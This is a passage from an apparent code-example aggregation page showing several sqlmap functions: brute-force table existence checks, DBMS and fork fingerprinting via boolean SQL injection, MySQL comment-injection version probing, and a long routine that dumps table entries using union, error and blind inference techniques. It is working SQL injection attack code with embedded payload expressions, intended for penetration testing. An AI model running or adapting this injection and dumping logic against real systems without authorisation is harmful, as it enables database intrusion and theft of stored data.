                fullTableName = "%s.%s" % (conf.db, table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(
                "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                        (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime(
                        "%X"), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit))
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, tableExistsThread, threadChoice=True)

    except KeyboardInterrupt:
        warnMsg = u"用户在检查表的存在性期间中止,sqlmap将只显示部分输出"
        logger.warn(warnMsg)

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = u"没有发现表"
        logger.warn(warnMsg)
    else:
        for item in threadData.shared.value:
            if conf.db not in kb.data.cachedTables:
                kb.data.cachedTables[conf.db] = [item]
            else:
                kb.data.cachedTables[conf.db].append(item)

    for _ in ((conf.db, item) for item in threadData.shared.value):
        if _ not in kb.brute.tables:
            kb.brute.tables.append(_)

    hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)

    return kb.data.cachedTables
Example #52
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.ORACLE
        logger.info(infoMsg)

        # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
        # not work connecting directly to the Oracle database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(
                "LENGTH(SYSDATE)=LENGTH(SYSDATE)")

        if result:
            infoMsg = "confirming %s" % DBMS.ORACLE
            logger.info(infoMsg)

            # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
                result = inject.checkBooleanExpression(
                    "NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])"
                )

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.ORACLE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
            logger.info(infoMsg)

            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
            for version in ("19c", "18c", "12c", "11g", "10g", "9i", "8i",
                            "7"):
                number = int(re.search(r"([\d]+)", version).group(1))
                output = inject.checkBooleanExpression(
                    "%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)"
                    % (number, 1 if number < 10 else 2))

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
            logger.warn(warnMsg)

            return False
Example #53
0
    def getFingerprint(self):
        fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)

        if fork is None:
            if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
                fork = FORK.COCKROACHDB
            elif inject.checkBooleanExpression(
                    "VERSION() LIKE '%Redshift%'"
            ):  # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
                fork = FORK.REDSHIFT
            elif inject.checkBooleanExpression(
                    "VERSION() LIKE '%Greenplum%'"
            ):  # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
                fork = FORK.GREENPLUM
            elif inject.checkBooleanExpression(
                    "VERSION() LIKE '%Yellowbrick%'"
            ):  # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html
                fork = FORK.YELLOWBRICK
            elif inject.checkBooleanExpression(
                    "VERSION() LIKE '%EnterpriseDB%'"
            ):  # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html
                fork = FORK.ENTERPRISEDB
            elif inject.checkBooleanExpression(
                    "AURORA_VERSION() LIKE '%'"
            ):  # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
                fork = FORK.AURORA
            else:
                fork = ""

            hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)

        value = ""
        wsOsFp = Format.getOs("web server", kb.headersFp)

        if wsOsFp:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

            if dbmsOsFp:
                value += "%s\n" % dbmsOsFp

        value += "back-end DBMS: "

        if not conf.extensiveFp:
            value += DBMS.PGSQL
            if fork:
                value += " (%s fork)" % fork
            return value

        actVer = Format.getDbms()
        blank = " " * 15
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get("dbmsVersion")

            if banVer:
                banVer = Format.getDbms([banVer])
                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += "\n%shtml error message fingerprint: %s" % (blank,
                                                                 htmlErrorFp)

        if fork:
            value += "\n%sfork fingerprint: %s" % (blank, fork)

        return value
Example #54
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and re.search(conf.exclude, conf.db,
                                          re.I) is not None:
                infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(six.itervalues(kb.data.cachedTables))

                if tblList and isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = "%s:%s" % (conf.db, tbl)
                elif Backend.isDbms(DBMS.SQLITE):
                    kb.dumpTable = tbl
                else:
                    kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(
                        conf.db
                ) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(
                        tbl, True
                ) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(
                        conf.db
                )] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(
                        conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(
                    conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [
                        _ for _ in colList
                        if re.search(conf.exclude, _, re.I) is None
                    ]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = [
                    unsafeSQLIdentificatorNaming(_) for _ in colList
                ]
                colNames = colString = ','.join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column),
                                           _.replace("\\", r"\\"), colString)

                entriesCount = 0

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                                       DBMS.DERBY,
                                                       DBMS.ALTIBASE,
                                                       DBMS.MIMERSQL):
                        query = rootQuery.inband.query % (
                            colString, tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MAXDB,
                                                         DBMS.MCKOI,
                                                         DBMS.EXTREMEDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
                                and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
                                where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            if Backend.isDbms(
                                    DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = "in case of table dumping problems (e.g. column entry order) "
                                warnMsg += "you are advised to rerun with '--force-pivoting'"
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(
                                    query,
                                    blind=False,
                                    time=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(
                                            count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (
                                                    column, column, table,
                                                    index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(
                                                    query,
                                                    blind=False,
                                                    time=False,
                                                    dump=True) or ""
                                                row.append(value)

                                            if not entries and isNoneValue(
                                                    row):
                                                break

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = "Ctrl+C detected in dumping phase"
                                        logger.warn(warnMsg)

                            if isNoneValue(
                                    entries) and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table,
                                                            colList,
                                                            blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = "Ctrl+C detected in dumping phase"
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = BigArray(
                                        _zip(*[
                                            entries[colName]
                                            for colName in colList
                                        ]))
                        else:
                            query = rootQuery.inband.query % (colString,
                                                              conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                         DBMS.PGSQL,
                                                         DBMS.HSQLDB, DBMS.H2,
                                                         DBMS.VERTICA,
                                                         DBMS.PRESTO,
                                                         DBMS.CRATEDB,
                                                         DBMS.CACHE):
                        query = rootQuery.inband.query % (
                            colString, conf.db, tbl,
                            prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db,
                                                          tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query,
                                                      blind=False,
                                                      time=False,
                                                      dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {
                                    "length": len(column),
                                    "values": BigArray()
                                }

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(
                                        entry[index]
                                    ) if index < len(entry) else u''

                                maxLen = max(
                                    getConsoleLength(column),
                                    getConsoleLength(
                                        DUMP_REPLACEMENTS.get(
                                            getUnicode(colEntry),
                                            getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column][
                                        "length"]:
                                    kb.data.dumpedTable[column][
                                        "length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(
                                    colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable(
                ) and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                                       DBMS.DERBY,
                                                       DBMS.ALTIBASE,
                                                       DBMS.MIMERSQL):
                        query = rootQuery.blind.count % (
                            tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MCKOI,
                                                         DBMS.EXTREMEDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" %
                                                         (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
                            conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                         DBMS.SYBASE,
                                                         DBMS.MAXDB,
                                                         DBMS.MSSQL,
                                                         DBMS.INFORMIX,
                                                         DBMS.MCKOI):
                        if Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                           DBMS.MCKOI,
                                                           DBMS.EXTREMEDB):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                             DBMS.MSSQL,
                                                             DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = "%s:%s" % (conf.db, tbl)

                        if Backend.isDbms(
                                DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = "in case of table dumping problems (e.g. column entry order) "
                            warnMsg += "you are advised to rerun with '--force-pivoting'"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (
                                            column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(
                                            query,
                                            union=False,
                                            error=False,
                                            dump=True) or ""

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(
                                            lengths[column],
                                            len(
                                                DUMP_REPLACEMENTS.get(
                                                    getUnicode(value),
                                                    getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table,
                                                        colList,
                                                        count,
                                                        blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms(
                        ) in PLUS_ONE_DBMSES
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(
                                indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = "checking for empty columns"
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression(
                                        "(SELECT COUNT(%s) FROM %s)>0" %
                                    (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (
                                        column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (
                                            DBMS.MYSQL, DBMS.PGSQL,
                                            DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA,
                                            DBMS.PRESTO, DBMS.CRATEDB,
                                            DBMS.CACHE):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            conf.db, conf.tbl,
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.ORACLE,
                                            DBMS.DB2,
                                            DBMS.DERBY,
                                            DBMS.ALTIBASE,
                                    ):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.MIMERSQL, ):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.SQLITE, DBMS.EXTREMEDB):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(
                                                tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(tbl,
                                                                  column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(
                                                tbl, column), conf.db, tbl,
                                            sorted(colList, key=len)[0])
                                    elif Backend.isDbms(DBMS.FRONTBASE):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(
                                                tbl, column), conf.db, tbl)
                                    else:
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            conf.db, tbl, index)

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(
                                        query,
                                        union=False,
                                        error=False,
                                        dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(
                                        lengths[column],
                                        len(
                                            DUMP_REPLACEMENTS.get(
                                                getUnicode(value),
                                                getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {
                            "length": length,
                            "values": columnEntries
                        }

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
                                                     and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += "in database '%s'%s" % (
                        unsafeSQLIdentificatorNaming(conf.db),
                        " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {
                        "count": entriesCount,
                        "table": safeSQLIdentificatorNaming(tbl, True),
                        "db": safeSQLIdentificatorNaming(conf.db)
                    }
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None
Example #55
0
    def _commentCheck(self):
        infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(
            "[RANDNUM]=[RANDNUM]/* NoValue */")

        if not result:
            warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 04/2011
        versions = (
            (32200, 32235),  # MySQL 3.22
            (32300, 32359),  # MySQL 3.23
            (40000, 40032),  # MySQL 4.0
            (40100, 40131),  # MySQL 4.1
            (50000, 50092),  # MySQL 5.0
            (50100, 50156),  # MySQL 5.1
            (50400, 50404),  # MySQL 5.4
            (50500, 50521),  # MySQL 5.5
            (50600, 50604),  # MySQL 5.6
            (60000, 60014),  # MySQL 6.0
        )

        index = -1
        for i in xrange(len(versions)):
            element = versions[i]
            version = element[0]
            version = getUnicode(version)
            result = inject.checkBooleanExpression(
                "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" %
                version)

            if result:
                break
            else:
                index += 1

        if index >= 0:
            prevVer = None

            for version in xrange(versions[index][0], versions[index][1] + 1):
                version = getUnicode(version)
                result = inject.checkBooleanExpression(
                    "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" %
                    version)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Example #56
0
def tableExists(tableFile, regex=None):
    result = inject.checkBooleanExpression(
        "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                (randomInt(1), randomStr())))

    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
        conf.db = conf.db.upper()

    if result:
        errMsg = "can't use table existence check because of detected invalid results "
        errMsg += "(most probably caused by inability of the used injection "
        errMsg += "to distinguish errornous results)"
        raise SqlmapDataException(errMsg)

    tables = getFileItems(tableFile,
                          lowercase=Backend.getIdentifiedDbms()
                          in (DBMS.ACCESS, ),
                          unique=True)

    infoMsg = "checking table existence using items from '%s'" % tableFile
    logger.info(infoMsg)

    tables.extend(_addPageTextWords())
    tables = filterListValue(tables, regex)

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(tables)
    threadData.shared.value = []
    threadData.shared.unique = set()

    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(
                    tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
            ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                fullTableName = "%s%s%s" % (
                    conf.db, '..' if Backend.getIdentifiedDbms() in
                    (DBMS.MSSQL, DBMS.SYBASE) else '.', table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(
                "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                        (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not hasattr(conf, "api"):
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime(
                        "%X"), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit))
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, tableExistsThread, threadChoice=True)

    except KeyboardInterrupt:
        warnMsg = "user aborted during table existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warn(warnMsg)

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = "no table(s) found"
        logger.warn(warnMsg)
    else:
        for item in threadData.shared.value:
            if conf.db not in kb.data.cachedTables:
                kb.data.cachedTables[conf.db] = [item]
            else:
                kb.data.cachedTables[conf.db].append(item)

    for _ in ((conf.db, item) for item in threadData.shared.value):
        if _ not in kb.brute.tables:
            kb.brute.tables.append(_)

    hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)

    return kb.data.cachedTables
Example #57
0
    def getFingerprint(self):
        fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)

        if fork is None:
            if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"):
                fork = FORK.MARIADB
            elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"):
                fork = FORK.TIDB
            elif inject.checkBooleanExpression(
                    "@@VERSION_COMMENT LIKE '%drizzle%'"):
                fork = FORK.DRIZZLE
            elif inject.checkBooleanExpression(
                    "@@VERSION_COMMENT LIKE '%Percona%'"):
                fork = FORK.PERCONA
            elif inject.checkBooleanExpression(
                    "AURORA_VERSION() LIKE '%'"
            ):  # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
                fork = FORK.AURORA
            else:
                fork = ""

            hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)

        value = ""
        wsOsFp = Format.getOs("web server", kb.headersFp)

        if wsOsFp and not conf.api:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

            if dbmsOsFp and not conf.api:
                value += "%s\n" % dbmsOsFp

        value += "back-end DBMS: "
        actVer = Format.getDbms()

        if not conf.extensiveFp:
            value += actVer
            if fork:
                value += " (%s fork)" % fork
            return value

        comVer = self._commentCheck()
        blank = " " * 15
        value += "active fingerprint: %s" % actVer

        if comVer:
            comVer = Format.getDbms([comVer])
            value += "\n%scomment injection fingerprint: %s" % (blank, comVer)

        if kb.bannerFp:
            banVer = kb.bannerFp.get("dbmsVersion")

            if banVer:
                if banVer and re.search(r"-log$", kb.data.banner or ""):
                    banVer += ", logging enabled"

                banVer = Format.getDbms([banVer])
                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
